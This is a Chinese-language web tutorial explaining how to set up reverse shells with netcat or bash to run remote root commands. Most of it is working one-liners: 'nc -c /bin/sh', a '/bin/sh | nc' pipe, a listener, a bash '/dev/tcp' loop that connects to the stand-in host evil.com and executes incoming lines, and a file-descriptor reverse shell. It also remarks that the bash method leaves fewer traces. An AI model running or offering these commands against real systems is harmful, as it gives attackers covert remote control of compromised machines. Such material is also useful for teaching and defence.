Welcome 微信登录

首页 / 操作系统 / Linux / 如何使用NetCat或BASH创建反向Shell来执行远程Root命令

反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。

反向Shell(Reverse Shell)

  • 反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。

Bind Shell

  • bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。
反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。

环境要求

  • 远程Unix主机
  • 安装了netcat

使用NetCat实现反向shell交互

当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:nc -c /bin/sh <你的IP> <任何一个未封锁的端口>你甚至能通过netcat来pipe BASH。/bin/sh | nc <你的IP> <任何未封锁的端口>然后监听这个shell:nc -l -p <相同的端口> -vvv

通过BASH实现反向shell

这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。监听shell:nc -l -p <任何未封锁的端口> -vvv先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done或另外一个反向shell:0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196这样,你就可以轻松是通过netcat发送任何命令了。Python的Vim的简单设置利用RemoteBox管理VirtualBox中虚拟机相关资讯      bash  Netcat 
  • Bash简明教程--变量  (今 21:58)
  • Linux入门学习:认识shell和bash  (03月25日)
  • 使用 netcat [nc] 命令对 Linux 和  (12/14/2015 13:10:20)
  • Bash的基本功能  (03月27日)
  • 快来帮 Bash 投票新 LOGO 吧!  (12/19/2015 20:55:48)
  • 如何用 Bash 创建一个二进制发布包  (09/25/2015 08:42:19)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款
版权所有©石家庄振强科技有限公司2024 冀ICP备08103738号-5 网站地图